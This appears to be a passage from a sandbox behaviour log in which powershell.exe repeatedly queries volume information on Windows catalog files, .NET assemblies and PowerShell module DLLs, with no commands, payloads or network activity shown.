Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
